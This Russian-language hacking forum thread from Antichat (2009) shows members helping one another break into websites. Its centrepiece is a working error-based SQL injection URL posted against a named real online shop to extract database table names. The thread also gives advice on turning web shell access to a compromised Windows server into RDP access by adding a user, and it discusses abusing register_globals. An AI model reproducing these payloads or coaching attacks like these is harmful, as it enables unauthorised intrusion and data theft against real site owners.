Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
27.12.2009, 23:04
|
|
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
Провел на форуме:
3300342
Репутация:
165
|
|
Сообщение от ILYAtirtir
Вводишь
Код:
javavg games:javavg@localhost:5.0.67-percona-highperf-b7-log
Если нетрудно, можеш обьяснить, почему там скобка?
aaa')
|
|
|
27.12.2009, 23:17
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534
Репутация:
2731
|
|
Сообщение от SeNaP
Если нетрудно, можеш обьяснить, почему там скобка?
aaa')
Как я уже сказал, запрос такой...
К примеру такой:
Код:
SELECT * FROM `table` WHERE `field` IN ('$str')
|
|
|
|
27.12.2009, 23:25
|
|
Новичок
Регистрация: 16.12.2009
Сообщений: 18
Провел на форуме:
92411
Репутация:
3
|
|
Здравствуйте помогите пожалуйста с sql инъекцией http://kirovmag.ru/catalog/subcat6/index6.php?str=-2&gis=5
ничего в нете путевого ненашел!
недели две себе уже жопу рву из за этого!
|
|
|
|
27.12.2009, 23:35
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534
Репутация:
2731
|
|
Сообщение от SnooPy
Здравствуйте помогите пожалуйста с sql инъекцией http://kirovmag.ru/catalog/subcat6/index6.php?str=-2&gis=5
ничего в нете путевого ненашел!
недели две себе уже жопу рву из за этого!
Инъекция в LIMIT'e.
Раскрутить невозможно.
|
|
|
|
27.12.2009, 23:37
|
|
Постоянный
Регистрация: 18.02.2008
Сообщений: 368
Провел на форуме:
4075418
Репутация:
386
|
|
есть что то типа такого:
PHP код:
<?php
echo $_SERVER['DOCUMENT_ROOT'];
?>
я непойму почему неполучаеться переобределить переменую, пробывал так index.php?_SERVER[DOCUMENT_ROOT]=qwerty
register_globals стоит в положении On |
|
|
|
27.12.2009, 23:44
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
Провел на форуме:
14023893
Репутация:
2163
|
|
Сообщение от mailbrush
Инъекция в LIMIT'e.
Раскрутить невозможно.
там соседняя переменная поле сортировки задает
kirovmag.ru/catalog/subcat6/index6.php?sort=(1,2)=(select+count(*),concat((sel ect+table_name+from+information_schema.tables+limi t+1),0x3a,floor(rand()*2))+from+information_schema .tables+group+by+2+limit+1)--+1
__________________
Я так же грустен как орангутанг
Сидящей пред галдящею толпою
Суровый житель отогретых стран
Коварно преданный разлуке и покою
Ему и мне насмешница судьба
Дала для жизни крохотную клетку
Нам предстоит в ней долгоя хотьба
За тертую морковь, и за конфетку..
|
|
|
|
28.12.2009, 00:10
|
|
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
Провел на форуме:
556476
Репутация:
66
|
|
Сообщение от l1ght
use it:
спс помогло ))
Последний раз редактировалось YuNi|[c; 28.12.2009 в 00:18..
|
|
|
|
28.12.2009, 01:29
|
|
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
Провел на форуме:
3300342
Репутация:
165
|
|
Возможно ли подключиться к дедику по RDP имея веб шелл.?
ОС win
На все диски права админа имею
Или как добавить нового пользоателя ?
Последний раз редактировалось SeNaP; 28.12.2009 в 01:41..
|
|
|
|
28.12.2009, 01:50
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281
Репутация:
1177
|
|
Сообщение от SeNaP
Возможно ли подключиться к дедику по RDP имея веб шелл.?
ОС win
На все диски права админа имею
Или как добавить нового пользоателя ?
да, можно.
как добавить, куча статей в нете. Создает BAT файл и исполняешь его. Открыть RDP - это в реестре. Так же полно статей в нете.
|
|
|
|
28.12.2009, 02:46
|
|
Постоянный
Регистрация: 18.02.2008
Сообщений: 368
Провел на форуме:
4075418
Репутация:
386
|
|
Потому что это елемент масива сервер как ты его переопределиш (в котором путь к папке где скрипты лежат ), я встречал здесь что то TOXA писал, в хедер как то можно было... но это если допустим при редиректе... что то типо такого
тынц
По линку что ты дал немного нето. Это реально, я ж это непридумал сам. Реальные примеры в багтраках встречаються. Пример из реальной жизни:
http://www.exploit-db.com/exploits/10421
в начале imagezoom.php
PHP код:
require_once($_SERVER["DOCUMENT_ROOT"]."/cms_rc_frontend.php");
......
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
